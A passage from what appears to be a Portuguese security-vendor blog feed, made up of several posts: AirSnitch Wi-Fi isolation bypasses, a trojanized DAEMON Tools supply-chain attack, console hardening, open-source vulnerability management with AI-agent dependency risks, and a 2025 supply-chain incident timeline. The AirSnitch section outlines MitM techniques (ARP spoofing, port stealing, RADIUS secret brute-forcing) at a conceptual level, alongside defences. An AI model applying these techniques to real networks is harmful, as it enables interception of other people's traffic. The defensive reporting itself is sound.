Se o invasor estiver em uma rede aberta e sem criptografia, isso significa que o tráfego destinado a um cliente em uma rede protegida por WPA2/WPA3 pode acabar sendo transmitido “em claro”, permitindo que qualquer pessoa próxima o capture.

Roubo de porta para envio de pacotes

Nessa versão, o invasor se conecta diretamente ao adaptador Wi-Fi da vítima e o bombardeia com solicitações ARP, falsificando o endereço MAC do ponto de acesso. Como resultado, o computador da vítima passa a enviar seu tráfego ao invasor em vez da rede. Ao combinar essas duas técnicas de roubo de porta, um invasor pode, em vários cenários, realizar um ataque completo de MitM.

Consequências práticas dos ataques AirSnitch

Ao combinar várias dessas técnicas, um hacker pode realizar algumas ações bastante graves:

• Interceptação completa de tráfego bidirecional para um ataque MitM. Isso significa que o invasor pode capturar e modificar dados entre a vítima e o ponto de acesso sem que ela perceba.
• Movimentação entre SSIDs. Um invasor em uma rede de visitantes pode alcançar hosts em uma rede corporativa restrita, desde que ambas usem o mesmo ponto de acesso físico.
• Ataques ao RADIUS. Como muitas empresas usam a autenticação via RADIUS no Wi-Fi corporativo, um invasor pode falsificar o endereço MAC do ponto de acesso para interceptar os pacotes iniciais de autenticação RADIUS. A partir daí, ele pode tentar descobrir o segredo compartilhado por força bruta. Com isso em mãos, ele pode criar um servidor RADIUS e um ponto de acesso falsos para capturar dados de qualquer dispositivo que se conecte a eles.
• Exposição de dados não criptografados em sub-redes “seguras”: o tráfego que deveria estar protegido por WPA2/WPA3 pode ser retransmitido a um cliente em uma rede de visitantes aberta, ficando exposto a qualquer pessoa próxima.

Para executar esses ataques com eficiência, um hacker precisa de um dispositivo capaz de transmitir e receber dados simultaneamente com o adaptador e o ponto de acesso da vítima. Em um cenário do mundo real, isso geralmente envolve um notebook com dois adaptadores Wi-Fi usando drivers Linux configurados especificamente para esse tipo de operação. Vale destacar que o ataque não é totalmente discreto: ele gera um grande volume de pacotes ARP, pode causar pequenas instabilidades no Wi-Fi quando é iniciado e reduzir a velocidade para cerca de 10 Mbps. Mesmo com esses sinais, ainda representa uma ameaça real em muitos ambientes.

Dispositivos vulneráveis

Como parte do estudo, vários pontos de acesso e roteadores corporativos e domésticos foram testados. A lista incluiu produtos da Cisco, Netgear, Ubiquiti, Tenda, D-Link, TP-Link, LANCOM e ASUS, além de roteadores com firmwares populares na comunidade, como DD-WRT e OpenWrt. Todos os dispositivos testados apresentaram vulnerabilidade a pelo menos algumas das técnicas descritas. Mais preocupante ainda: os modelos D-Link DIR-3040 e LANCOM LX-6500 foram vulneráveis a todas as variações do AirSnitch.

Curiosamente, alguns roteadores já contam com mecanismos de proteção que bloqueiam esses ataques, mesmo que as falhas de arquitetura de base continuem presentes. Por exemplo, o Tenda RX2 Pro desconecta automaticamente qualquer cliente cujo endereço MAC apareça simultaneamente em dois BSSIDs, o que na prática impede o roubo de porta.

Os pesquisadores destacam que qualquer administrador de rede ou equipe de segurança de TI que leve a proteção a sério deve testar suas próprias configurações. Essa é a única maneira de identificar exatamente quais ameaças se aplicam ao ambiente da organização.

Como proteger a rede corporativa contra o AirSnitch

O risco é maior para organizações que operam redes Wi-Fi de visitantes e corporativa no mesmo ponto de acesso, sem segmentação adicional por VLAN. Também há riscos significativos para empresas que utilizam RADIUS com configurações desatualizadas ou segredos compartilhados fracos para autenticação sem fio.

Em resumo, é preciso deixar de tratar o isolamento de clientes como uma medida real de segurança e passar a vê-lo apenas como um recurso de conveniência. A segurança real precisa ser tratada de outra forma:

• Segmentar a rede com VLANs. Cada SSID deve ter sua própria VLAN, com marcação de pacotes 802.1Q aplicada de ponta a ponta: do ponto de acesso até o firewall ou roteador.
• Implementar inspeção de pacotes mais rigorosa no nível de roteamento, dependendo dos recursos de hardware. Recursos como Inspeção dinâmica de ARP, DHCP snooping e limitação do número de endereços MAC por porta ajudam a proteger contra a falsificação de IP/MAC.
• Ativar chaves GTK individuais por cliente, se o equipamento for compatível.
• Usar configurações mais robustas de RADIUS e 802.1X, incluindo conjuntos de cifras modernos e segredos compartilhados robustos.
• Registrar e analisar anomalias de autenticação EAP/RADIUS no SIEM. Isso ajuda a identificar diversas tentativas de ataque além do AirSnitch. Outros sinais de alerta a serem observados incluem um mesmo endereço MAC aparecendo em diferentes SSIDs, picos de solicitações ARP ou clientes alternando rapidamente entre BSSIDs ou VLANs.
• Aplicar segurança em camadas superiores na topologia de rede. Muitos desses ataques perdem força se a organização tiver implementado TLS e HSTS de forma abrangente em todo o tráfego de aplicações corporativas, exigir o uso de VPN ativa em todas as conexões Wi-Fi ou tiver adotado plenamente uma arquitetura de confiança zero.

Nossos especialistas descobriram um ataque à cadeia de suprimentos em grande escala via DAEMON Tools – software para emulação de unidades ópticas. Os invasores conseguiram injetar código malicioso nos instaladores do software, e todos os arquivos executáveis trojanizados estão assinados com uma assinatura digital válida da AVB Disc Soft – a desenvolvedora do DAEMON Tools. A versão maliciosa do programa está em circulação desde 8 de abril de 2026. No momento da redação deste artigo, o ataque ainda está em andamento. Os pesquisadores da Kaspersky acreditam que se trata de um ataque direcionado.

Quais são os riscos de instalar a versão maliciosa do DAEMON Tools?

Depois que o software infectado com trojan é instalado no computador da vítima, um arquivo malicioso é executado toda vez que o sistema é inicializado – enviando uma solicitação a um servidor de comando e controle. Em resposta, o servidor pode enviar um comando para baixar e executar cargas maliciosas adicionais.

Primeiro, os invasores implantam um coletor de informações que reúne o endereço MAC, o nome do host, o nome de domínio DNS, listas de processos em execução e de softwares instalados, além das configurações de idioma. O malware então envia essas informações para o servidor de comando e controle.

Em alguns casos, em resposta às informações coletadas, o servidor de comando envia um backdoor minimalista para a máquina da vítima. Ele é capaz de baixar cargas maliciosas adicionais, executar comandos de shell e rodar módulos de shellcode na memória.

O backdoor pode ser usado para implantar um implantado mais sofisticado chamado QUIC RAT. Ele suporta vários protocolos de comunicação com o servidor de comando e controle e é capaz de injetar cargas maliciosas nos processos notepad.exe e conhost.exe.

Informações técnicas mais detalhadas, juntamente com indicadores de comprometimento, podem ser encontradas no artigo dos especialistas no blog Securelist.

Quem está sendo alvo?

Desde o início de abril, foram detectadas várias milhares de tentativas de instalar cargas maliciosas adicionais por meio do software DAEMON Tools infectado. A maioria dos dispositivos infectados pertencia a usuários domésticos, mas aproximadamente 10% das tentativas de instalação foram detectadas em sistemas em execução em organizações. Geograficamente, as vítimas estavam espalhadas por cerca de cem países e territórios diferentes. A maioria das vítimas estava localizada na Rússia, Brasil, Turquia, Espanha, Alemanha, França, Itália e China.

Na maioria das vezes, o ataque se limitava à instalação de um coletor de informações. O backdoor infectou apenas uma dúzia de máquinas em organizações governamentais, científicas e de manufatura, bem como em empresas de varejo na Rússia, Bielorrússia e Tailândia.

O que exatamente foi infectado

O código malicioso foi detectado nas versões do DAEMON Tools que vão da 12.5.0.2421 à 12.5.0.2434. Os invasores comprometeram os arquivos DTHelper.exe, DiscSoftBusServiceLite.exe e DTShellHlp.exe, que estão instalados no diretório principal do DAEMON Tools.

Como se proteger?

Se o software DAEMON Tools for utilizado no seu computador (ou em qualquer outro local da sua organização), nossos especialistas recomendam verificar minuciosamente os computadores nos quais ele está instalado em busca de qualquer atividade incomum a partir de 8 de abril.

Além disso, recomendamos o uso de soluções de segurança confiáveis em todos os computadores domésticos e corporativos usados para acessar a internet. Nossas soluções protegem com sucesso os usuários contra todos os malwares usados no ataque à cadeia de suprimentos via DAEMON Tools.

As empresas atuam de forma sistemática para reduzir a superfície de ataque. Eles segmentam redes, gerenciam vulnerabilidades, implementam EDR/XDR e buscam automatizar as respostas a incidentes. Por mais paradoxal que pareça, muitas vezes ignoram um ponto crucial: a segurança das próprias ferramentas que gerenciam todo o sistema de defesa.

Isso pode acontecer por um ponto cego de percepção. É comum presumir que, por ter implementado todas as soluções de segurança necessárias, a organização já está protegida. Na prática, qualquer software adicional, inclusive de segurança, amplia a superfície de ataque. Isso significa que essas ferramentas também precisam ser protegidas, começando por um ajuste adequado das configurações.

Por que a violação de um console de segurança é um cenário crítico?

As ferramentas de segurança são tão robustas quanto o ambiente em que operam. Se um invasor conseguir acessar a infraestrutura e assumir o controle do console de gerenciamento, ele passa a ter controle total do ambiente. É como uma chave mestra, que dá acesso direto ao gerenciamento centralizado de políticas, monitoramento de endpoints, integrações de API e outros recursos.

Nesse cenário, o invasor não precisa perder tempo para buscar formas sofisticadas de contornar defesas, basta alterar as configurações. Com acesso ao console, o invasor elimina as etapas mais difíceis de um ataque:

• não precisa mapear a rede, pois o console oferece uma visão completa da infraestrutura e da arquitetura de segurança de forma imediata.
• não precisa ocultar atividades maliciosas, podendo apenas ajustar políticas, desativar ferramentas ou silenciar alertas.
• em vez de distribuir cargas maliciosas de forma discreta, pode usar os próprios recursos do console para instalar softwares e atualizações em massa.

Por isso o comprometimento da camada de controle é tão perigoso. Uma abordagem proativa de cibersegurança não depende da quantidade de ferramentas, mas da resiliência da arquitetura de segurança. Se a camada de controle for o ponto fraco, nenhum software avançado diminuirá esse risco.

Como proteger o console de segurança

Em teoria, a maioria dos sistemas de gerenciamento já conta com os recursos necessários para reforçar a proteção. Qual é o problema? Essas medidas, até as mais básicas como autenticação em dois fatores, costumam estar disponíveis, mas não são obrigatórias. As recomendações de segurança são publicadas, mas nem sempre aplicadas de uma maneira consistente. Em alguns casos, são simplesmente ignoradas. Pior ainda, configurações críticas ativadas por padrão podem ser desativadas com um clique, afetando todos os usuários imediatamente. Sejamos honestos: muitas vezes esses recursos são desativados por conveniência.

No mundo real, isso faz com que a segurança acabe dependendo da disciplina individual do administrador. Porém, a disciplina não substitui um mecanismo estrutural de defesa.

A abordagem moderna prioriza o modelo seguro por padrão na proteção da camada de controle. Nesse modelo, as proteções críticas estão integradas à configuração básica, com restrições na capacidade de desativação global. Assim, a segurança deixa de ser opcional.

O objetivo é eliminar incertezas em termos de segurança das ferramentas defensivas e reduzir a superfície de ataque no nível de gerenciamento.

Como implementamos essa abordagem no Kaspersky Security Center Linux

Nossos produtos estão evoluindo de forma consistente para um modelo em que mecanismos críticos fazem parte da arquitetura básica, e não são opcionais. Lançamos recentemente a versão 16.1 do Kaspersky Security Center Linux, que incorpora essa mudança ao reforçar o controle de acesso ao console. Agora, a autenticação de dois fatores está ativada por padrão, e a possibilidade de desativação global foi removida. Antes de atualizar, é necessário garantir que todos os usuários utilizem autenticação de dois fatores (2FA), incluindo acessos pelo Web Console e automações com OpenAPI.

Isso estabelece uma proteção essencial para acessos privilegiados ao console. Reduz o risco de comprometimento de contas administrativas, protege canais de automação, diminui a probabilidade de uso indevido de APIs e elimina vulnerabilidades decorrentes de configurações opcionais. Dessa forma, a superfície de ataque é reduzida especificamente no gerenciamento da camada de controle.

No entanto, como já mencionado, o problema geralmente não é a falta de recursos, mas a ausência de controle sistemático sobre seu uso. Por exemplo, é comum haver administradores com privilégios excessivos ou configurações inseguras de conexão ao servidor. Já disponibilizamos um guia de reforço da proteção para o Kaspersky Security Center que aborda esses pontos em detalhe, mas, infelizmente, nem todos dedicam tempo para ler manuais técnicos extensos.

Para garantir que nada seja ignorado, reunimos uma lista de verificação estruturada para reforçar a segurança do Kaspersky Security Center Linux, versão 16.1. Esta lista de verificação:

• permite verificar se autenticação e acessos estão configurados corretamente
• ajuda a identificar usuários e funções com privilégios excessivos
• orienta sobre como restringir o acesso de rede ao console
• reforça a proteção de APIs
• fortalece os requisitos de criptografia
• garante a correta configuração de auditoria e logs
• reduz o risco de falhas de configuração

Essencialmente, é uma ferramenta de auditoria sistemática da camada de controle. Ela evita que o console se torne um ponto de entrada ou facilite a movimentação lateral de invasores. Quanto menos configurações críticas dependerem do usuário, menor o risco de erro ou comprometimento.

Autenticação reforçada e reforço estruturado do console não são ajustes pontuais, mas uma abordagem mais robusta de gestão de segurança. A proposta é evoluir essa camada de forma contínua, reduzindo a superfície de ataque não só nos endpoints, mas também no próprio sistema de gerenciamento. Saiba mais sobre o Kaspersky Security Center na página do console e acesse a lista de verificação de proteção disponível no site de suporte técnico.

Como já comentamos em uma postagem anterior, o desenvolvimento de produtos de software modernos é praticamente impossível sem o uso de componentes de código aberto. Mas, nos últimos anos, os riscos associados a isso tornaram-se cada vez mais diversos, complexos e numerosos. Devemos considerar que, primeiro, as vulnerabilidades afetam a infraestrutura e o código de uma empresa mais rapidamente do que são corrigidas; segundo, os dados são incompletos e pouco confiáveis; e, terceiro, malware pode estar escondido em componentes populares. Portanto, não basta simplesmente verificar os números de versão e solicitar que a equipe de TI corrija os problemas. O gerenciamento de vulnerabilidades deve ser expandido para abranger políticas de download de software, proteções para assistentes de IA e todo o pipeline de criação de software.

Um conjunto confiável de componentes de código aberto

A principal característica de uma solução é impedir o uso de código vulnerável e malicioso. As seguintes medidas devem ser implementadas:

• Ter um repositório interno de artefatos. A fonte única de componentes para desenvolvimento interno precisa ser um repositório unificado no qual os componentes são admitidos somente após uma série de verificações.
• Fazer uma triagem rigorosa dos componentes. Isso inclui verificações de versões conhecidas do componente, versões vulneráveis e maliciosas conhecidas, data de publicação, histórico de atividades e reputação do pacote e de seus autores. É obrigatório verificar todo o conteúdo do pacote, incluindo instruções de compilação, casos de teste e outros dados auxiliares. Para filtrar o registro durante a ingestão, use verificadores de código aberto especializados ou uma solução de segurança abrangente de carga de trabalho na nuvem.
• Fixar versões de dependências. Os processos de compilação, as ferramentas de IA e os desenvolvedores não devem usar modelos (como “o mais recente”) ao especificar versões. As compilações do projeto precisam ser baseadas em versões verificadas. Ao mesmo tempo, as dependências com versões fixas devem ser atualizadas com frequência para as versões verificadas mais recentes que mantêm a compatibilidade e não contêm vulnerabilidades conhecidas. Isso reduz significativamente o risco de ataques à cadeia de suprimentos por meio do comprometimento de um pacote conhecido.

Aperfeiçoamento dos dados de vulnerabilidades

Para identificar vulnerabilidades com mais eficácia e priorizá-las de forma adequada, uma organização precisa estabelecer vários processos de TI e segurança:

• Enriquecimento de dados de vulnerabilidade. Dependendo das necessidades da organização, isso é necessário para enriquecer as informações combinando dados do NVD, EUVD, BDU, GitHub Advisory Database e osv.dev, ou para comprar um feed de inteligência de vulnerabilidades comercial no qual os dados já estão agregados e enriquecidos. Em ambos os casos, também vale a pena monitorar os feeds de inteligência de ameaças para rastrear tendências de exploração reais e obter um entendimento do perfil dos invasores que visam vulnerabilidades específicas. A Kaspersky fornece um feed de dados especializado especificamente focado em componentes de código aberto.
• Análise detalhada da composição do software. As ferramentas especializadas de análise de composição de software (SCA) permitem o mapeamento correto da cadeia de dependências no código-fonte aberto para realizar o inventário completo das bibliotecas que estão sendo usadas e descobrir componentes desatualizados ou sem suporte. Os dados sobre componentes íntegros também são úteis para enriquecer o registro de artefatos.
• Identificação do abandonware. Mesmo que um componente não apresente vulnerabilidades formais e o encerramento do suporte ainda não tenha sido declarado oficialmente, o processo de verificação deve sinalizar os componentes que não receberam atualizações há mais de um ano. Isso garante uma análise separada e uma possível substituição, assim como ocorre com os componentes em EOL (fim da vida útil).

Proteção do código e dos agentes de IA

As atividades dos sistemas de IA usados na codificação devem ser agrupadas em um conjunto abrangente de medidas de segurança: desde a filtragem de dados de entrada até o treinamento do usuário:

• Restrições de recomendações de dependências. Configure o ambiente de desenvolvimento para garantir que os agentes e assistentes de IA consultem apenas componentes e bibliotecas do registro de artefatos confiável. Se eles não contiverem as ferramentas corretas, o modelo deve acionar uma solicitação para incluir a dependência no registro em vez de extrair algo do PyPI que apenas corresponda à descrição.
• Filtragem das saídas do modelo. Apesar dessas restrições, tudo o que for gerado pelo modelo também deve ser verificado para garantir que o código de IA não contenha dependências desatualizadas, sem suporte, vulneráveis ou inventadas. Essa verificação deve ser integrada diretamente no processo de aceitação do código ou no estágio de preparação da compilação. Ela não substitui o processo de análise estática tradicional: as ferramentas SAST ainda devem ser incorporadas no pipeline de CI/CD.
• Treinamento do desenvolvedor. As equipes de TI e de segurança devem estar extremamente familiarizadas com as características dos sistemas de IA, seus princípios operacionais e erros comuns. Para conseguir isso, os funcionários devem completar um curso de treinamento especializado, adaptados às suas funções específicas.

Remoção sistemática de componentes em EOL

Se os sistemas de uma empresa utilizarem componentes de código aberto desatualizados, deve-se adotar uma abordagem sistemática e consistente para lidar com as vulnerabilidades. Existem três métodos principais para fazer isso:

• Migração. Este é o método mais complexo e caro para uma organização, pois envolve a substituição total de um componente, seguida pela adaptação, reescrita ou substituição dos aplicativos construídos sobre ele. Decidir sobre uma migração é muito mais difícil quando se exige uma revisão geral de todo o código interno. Isso costuma afetar os componentes principais: é impossível migrar facilmente do Node.js 14 ou do Python 2.
• Suporte de longo prazo (LTS). Existe um mercado de serviços de suporte dedicado para projetos legados de larga escala. Às vezes, isso envolve uma bifurcação do sistema legado mantido por desenvolvedores de terceiros; em outros casos, equipes especializadas fazem o backport de patches que corrigem vulnerabilidades específicas em versões mais antigas e sem suporte. A transição para o LTS geralmente exige custos de suporte contínuos, mas, em muitos casos, isso ainda pode ser mais econômico do que uma migração completa.
• Controles compensatórios. Com base nos resultados de análises detalhadas, é possível criar um conjunto de medidas de segurança abrangentes para mitigar o risco de exploração das vulnerabilidades de um produto legado. Tanto a eficácia quanto a viabilidade econômica dessa abordagem dependem da função do software na organização.

Os departamentos de segurança, TI e negócios devem trabalhar juntos para escolher um desses três métodos para cada componente abandonado ou com EOL documentado e refletir a escolha feita nos registros de ativos e SBOMs da empresa.

Gerenciamento de vulnerabilidades de código aberto baseado em risco

Todos os métodos listados acima reduzem o volume de softwares e componentes vulneráveis que entram na organização, o que simplifica a detecção e a correção de falhas. Apesar disso, é impossível eliminar todos os defeitos: o número de aplicativos e componentes está crescendo muito rápido.

Portanto, é essencial priorizar as vulnerabilidades com base nos riscos reais que elas representam. O modelo de avaliação de risco deve ser expandido para considerar as características do código aberto, além de responder às seguintes perguntas:

• A ramificação do código vulnerável é realmente executada no ambiente da organização? Deve-se realizar uma análise de acessibilidade das vulnerabilidades descobertas. Muitos snippets de código defeituosos nunca são realmente executados na implementação específica da organização, fazendo com que seja impossível explorar a vulnerabilidade. Certas soluções de SCA podem realizar esta análise. Esse mesmo processo permite avaliar um cenário alternativo: o que acontece se os procedimentos ou componentes vulneráveis forem removidos completamente do projeto? Às vezes, esse método de remediação é surpreendentemente indolor.
• O defeito está sendo explorado em ataques reais? Há um PoC disponível? As respostas a essas perguntas fazem parte de estruturas de priorização padrão, como EPSS, mas o rastreamento deve ser realizado em um conjunto muito mais amplo de fontes de inteligência.
• A atividade de criminosos cibernéticos foi relatada nesse registro de dependência ou em componentes relacionados e semelhantes? Estes são fatores adicionais para a priorização.

A consideração desses fatores permite que a equipe aloque recursos de forma eficaz e corrija os defeitos mais perigosos primeiro.

A transparência nunca sai de moda

O padrão de segurança para softwares de código aberto só vai continuar subindo. As empresas que desenvolvem aplicativos, mesmo que para uso interno, enfrentarão pressões regulatórias que exigem segurança cibernética documentada e verificável nos seus sistemas. De acordo com as estimativas dos especialistas da Sonatype, 90% das empresas em todo o mundo já se enquadram em um ou mais requisitos que as obrigam a fornecer provas da confiabilidade do software que usam. Portanto, os especialistas consideram a transparência “o pilar fundamental da segurança da cadeia de suprimento de software”.

Ao controlar o uso de componentes e aplicativos de código aberto, enriquecer a inteligência contra ameaças e fazer o monitoramento rigoroso dos sistemas de desenvolvimento orientados por IA, as organizações podem introduzir as inovações que tanto desejam, ao mesmo tempo em que atingem o padrão elevado definido por reguladores e clientes.

Até bem pouco tempo, somente as empresas especializadas em software e as gigantes em tecnologia precisavam se preocupar com as vulnerabilidades de código aberto e os ataques direcionados contra a cadeia de suprimentos. Porém, os tempos mudaram. Hoje, até mesmo as pequenas empresas estão mantendo suas próprias lojas de desenvolvimento, e isso torna o problema significativo para todo mundo. De maneira ininterrupta, as equipes internas de TI das empresas estão ocupadas escrevendo código, configurando integrações e automatizando fluxos de trabalho, mesmo que o negócio principal não tenha absolutamente nada a ver com software. É o que a eficiência empresarial moderna exige. No entanto, como consequência disso, surge uma nova geração de vulnerabilidades de software, o tipo muito mais complicado de corrigir do que apenas instalar a atualização mais recente do Windows.

O desenvolvimento de software moderno é inseparável dos componentes de código aberto. Porém, os riscos associados proliferaram nos últimos anos, além de terem aumentado em variedade e sofisticação. Estamos testemunhado a injeção de código malicioso em repositórios populares, dados de vulnerabilidade fragmentados e com falhas, o uso sistemático de componentes desatualizados e vulneráveis e as cadeias de dependência cada vez mais complexas.

A escassez de dados de vulnerabilidade para código aberto

Mesmo que sua organização tenha um processo de gerenciamento de vulnerabilidades sólido para software comercial de terceiros, é possível constatar que o código aberto requer uma revisão completa desse processo. Os bancos de dados públicos mais usados geralmente são incompletos, imprecisos ou simplesmente lentos para obter atualizações quando se trata de código aberto. Isso transforma a priorização de vulnerabilidades em um jogo de adivinhação. Por mais automação que possa existir, ela será inútil se os dados de referência estiverem cheios de falhas.

De acordo com os dados da Sonatype, cerca de 65% das vulnerabilidades de código aberto atribuídas a um CVE ID não possuem uma pontuação de vulnerabilidade (CVSS) no NVD, a base de conhecimento de vulnerabilidades mais usada. Dessas vulnerabilidades não pontuadas, quase 46% seriam classificadas como alta, se analisadas adequadamente.

Mesmo quando uma pontuação CVSS está disponível, fontes diferentes estão de acordo apenas no que se refere à gravidade em cerca de 55% das vezes. Um banco de dados pode sinalizar uma vulnerabilidade como crítica, enquanto outro recebe uma pontuação média para ela. Metadados mais detalhados, como as versões de pacotes afetadas, também costumam estar repletos de erros e inconsistências. Seus verificadores de vulnerabilidades que comparam versões de software acabam gerando falsos positivos ou fornecendo falsamente um atestado de integridade.

O déficit nos dados de vulnerabilidade está crescendo e o processo de geração de relatórios está ficando mais lento. Nos últimos cinco anos, o número total de CVEs dobrou, mas o número de CVEs sem uma pontuação de gravidade explodiu por um fator de 37. De acordo com a Tenable, até 2025, o código de exploração de prova de conceito (PoC) esteve normalmente disponível dentro de uma semana após a descoberta de uma vulnerabilidade, mas obter a mesma vulnerabilidade listada no NVD levou em média 15 dias. Os processos de aprimoramento, como atribuir uma pontuação CVSS, são ainda mais lentos, a Sonatype no mesmo estudo estima que o tempo médio para atribuir uma pontuação CVSS é de 41 dias, com alguns defeitos permanecendo sem classificação por até um ano.

O problema do código aberto legado

Bibliotecas, aplicativos e serviços que não são mais mantidos, que foram abandonados ou que atingiram seu fim de vida útil (EOL), podem ser encontrados em 5 a 15% dos projetos corporativos, de acordo com a HeroDevs. Em cinco registros populares de código aberto, há pelo menos 81 mil pacotes que contêm vulnerabilidades conhecidas, mas pertencem a versões desatualizadas e sem suporte. Esses pacotes nunca verão os patches oficiais. Essa “bagagem legada” é responsável por cerca de 10% dos pacotes no Maven Central e no PyPI, e impressionantes 25% no npm.

Usar esse tipo de código aberto quebra o ciclo de vida padrão do gerenciamento de patches: não é possível atualizar, automática ou manualmente, uma dependência que não é mais compatível. Além disso, quando as versões EOL são omitidas dos boletins de vulnerabilidades oficiais, os verificadores de segurança podem categorizá-las como “não afetadas” por um defeito e ignorá-las.

Um excelente exemplo disso é o Log4Shell, a vulnerabilidade crítica (CVSS 10) na popular biblioteca Log4j descoberta em 2021. A versão vulnerável foi responsável por 40 milhões dos 300 milhões de downloads do Log4j em 2025. É importante ressaltar que estamos falando de uma das vulnerabilidades mais infames e amplamente relatadas da história, uma que foi ativamente explorada, corrigida pelo desenvolvedor e tratada em todos os principais produtos derivados. A situação para os defeitos menos divulgados é significativamente pior.

Para agravar esse problema, existe a lacuna de visibilidade. Muitas organizações não têm as ferramentas necessárias para mapear uma árvore de dependências completa ou obter visibilidade total dos pacotes e versões específicos integrados em sua pilha de software. Desse modo, os componentes desatualizados geralmente permanecem invisíveis e nunca entram na fila de correção.

Malware em registros de código aberto

Os ataques que envolvem pacotes de código aberto infectados ou inerentemente maliciosos se tornaram uma das ameaças de crescimento mais rápida para a cadeia de fornecimento de software. De acordo com pesquisadores da Kaspersky, aproximadamente 14 mil pacotes maliciosos foram descobertos em registros populares até o final de 2024, um aumento de 48% a cada ano. A Sonatype relatou um aumento ainda mais explosivo ao longo de 2025 e detectou mais de 450 mil pacotes maliciosos.

A motivação por trás desses ataques varia muito: roubo de criptomoedas, coleta de credenciais de desenvolvedor, espionagem industrial, obtenção de acesso à infraestrutura por meio de pipelines de CI/CD ou comprometimento de servidores públicos para hospedar campanhas de spam e phishing. Essas táticas são empregadas tanto por grupos APT de espionagem quanto por criminosos virtuais motivados financeiramente. É cada vez mais comum a violação de um pacote de código aberto ser apenas o primeiro passo de uma violação corporativa em vários estágios.

Cenários de ataque comuns incluem comprometer as credenciais de um mantenedor de pacote de código aberto legítimo, publicar uma biblioteca “útil” com código malicioso integrado ou publicar uma biblioteca maliciosa com um nome quase idêntico a um popular. Uma tendência particularmente alarmante em 2025 foi o aumento de ataques automatizados semelhantes a worms. O exemplo mais notório é a campanha Shai-Hulud. Nesse caso, o código malicioso roubou os tokens do GitHub e npm e continuou infectando novos pacotes, eventualmente se espalhando para mais de 700 pacotes npm e dezenas de milhares de repositórios. Ele vazou segredos de CI/CD e chaves de acesso à nuvem para o domínio público no processo.

Embora esse cenário não esteja tecnicamente relacionado a vulnerabilidades, as ferramentas de segurança e as políticas necessárias para seu gerenciamento são as mesmas usadas para o gerenciamento de vulnerabilidades.

Como os agentes de IA aumentam os riscos do uso de código aberto

A integração apressada e onipresente de agentes de IA no desenvolvimento de software aumenta significativamente a velocidade do desenvolvedor, mas também amplifica qualquer erro. Sem supervisão rigorosa e proteções claramente definidas, o código gerado por IA fica excepcionalmente vulnerável. A pesquisa mostra que 45% do código gerado por IA contém falhas da lista OWASP Top 10, enquanto 20% dos aplicativos orientados por IA implementados abrigam erros de configuração perigosos. Isso acontece porque os modelos de IA são treinados em grandes conjuntos de dados que incluem grandes volumes de código desatualizado, demonstrativo ou puramente educacional. Esses problemas sistêmicos ressurgem quando um modelo de IA decide quais componentes de código aberto devem ser incluídos em um projeto. O modelo costuma não saber quais versões do pacote existem no momento, nem quais foram sinalizadas como vulneráveis. Em vez disso, ele sugere uma versão de dependência extraída de seus dados de treinamento, que, provavelmente, estará obsoleta. Em alguns casos, os modelos tentam chamar versões inexistentes ou bibliotecas totalmente alucinadas. Isso abre a porta para ataques de confusão de dependência.

Em 2025, mesmo os principais LLMs recomendaram versões de dependência incorretas, simplesmente inventando uma resposta, em 27% dos casos.

A IA pode simplesmente corrigir tudo?

É uma ideia simples e tentadora: basta apontar um agente de IA para sua base de código para que ele procure e corrija todas as vulnerabilidades. Infelizmente, a IA não pode resolver totalmente esse problema. Os obstáculos fundamentais que discutimos prejudicam os agentes de IA tanto quanto os desenvolvedores humanos. Se os dados de vulnerabilidade estiverem ausentes ou não forem confiáveis, em vez de encontrar vulnerabilidades conhecidas, será necessário redescobrir tudo do zero. Esse processo consome muitos recursos e requer conhecimento de nicho que permanece fora do alcance da maioria das empresas.

Além disso, se uma vulnerabilidade for descoberta em um componente obsoleto ou sem suporte, um agente de IA não poderá “corrigir automaticamente” a vulnerabilidade. Ainda será preciso desenvolver patches personalizados ou executar uma migração complexa. Se uma falha estiver profundamente oculta em uma cadeia de dependências, é provável que a IA ignore isso completamente.

O que fazer?

Para minimizar os riscos descritos acima, será necessário expandir o processo de gerenciamento de vulnerabilidades para incluir políticas de download de pacotes de código aberto, regras operacionais do assistente de IA e o processo de compilação do software. Isso inclui:

• usar uma solução abrangente de segurança de carga de trabalho na nuvem;
• verificar pacotes de código aberto usados no processo de desenvolvimento de software com feeds de inteligência de ameaças para componentes de código aberto;
• considerar medidas de segurança para proteger o código de IA e os agentes de IA;
• remover sistematicamente os componentes de código aberto obsoletos.

É possível ler mais detalhes sobre o gerenciamento de vulnerabilidades em código aberto em uma postagem de blog dedicada.

Os ataques a cadeias de suprimentos têm sido uma das categorias mais perigosas de incidentes de cibersegurança há anos. Se o ano de 2025 nos ensinou alguma coisa, é que os cibercriminosos estão aumentando sua capacidade de ataque. Nesta análise detalhada, veremos ataques a cadeias de suprimentos realizados em 2025 que, embora não sejam os que causaram maiores prejuízos financeiros, certamente foram os mais incomuns e chamaram a atenção do setor.

Janeiro de 2025: um RAT encontrado no repositório do GitHub do DogWifTools

Como um “aquecimento” após o fim de ano, os cibercriminosos realizaram inúmeros ataques de backdoor a várias versões do DogWifTools. Trata-se de um utilitário projetado para lançar e promover vigorosamente moedas de meme baseadas em Solana no Pump.fun. Depois de comprometer o repositório privado do GitHub para o DogWifTools, os invasores esperaram os desenvolvedores carregarem uma nova versão do utilitário, injetaram um RAT nela e trocaram o programa legítimo por uma versão maliciosa apenas algumas horas depois. De acordo com os desenvolvedores, os agentes de ameaças instalaram com êxito as versões 1.6.3 a 1.6.6 do DogWifTools para Windows.

O golpe final foi dado no fim de janeiro. Depois de usar o RAT para coletar uma grande quantidade de dados dos dispositivos infectados, os invasores esvaziaram as carteiras de criptomoedas das vítimas. As vítimas estimaram o total de mais de USD 10 milhões em criptomoedas, mas os invasores contestaram esse número, embora não tenham revelado exatamente o valor total roubado.

Fevereiro de 2025: roubo de USD 1,5 bilhão do Bybit

Se janeiro foi só o aquecimento, o mês de fevereiro foi um colapso total. A invasão da plataforma de câmbio de criptomoedas Bybit superou completamente os incidentes anteriores, tornando-se o maior roubo de criptomoedas da história. Os invasores conseguiram comprometer o software Safe{Wallet}, a solução de armazenamento a frio de múltiplas assinaturas na qual a empresa confiava para gerenciar os seus ativos.

Os funcionários da Bybit pensaram que estavam assinando uma transação de rotina. Na realidade, eles estavam autorizando um contrato inteligente malicioso. Uma vez executado, ele esvaziou os fundos de uma carteira fria principal e os distribuiu em várias centenas de endereços controlados pelo invasor. A transferência final ultrapassou 400 mil ETH/stETH, com um impressionante valor total de aproximadamente… USD 1,5 bilhão!

Março de 2025: Coinbase é alvo de comprometimento em cascata do GitHub Actions

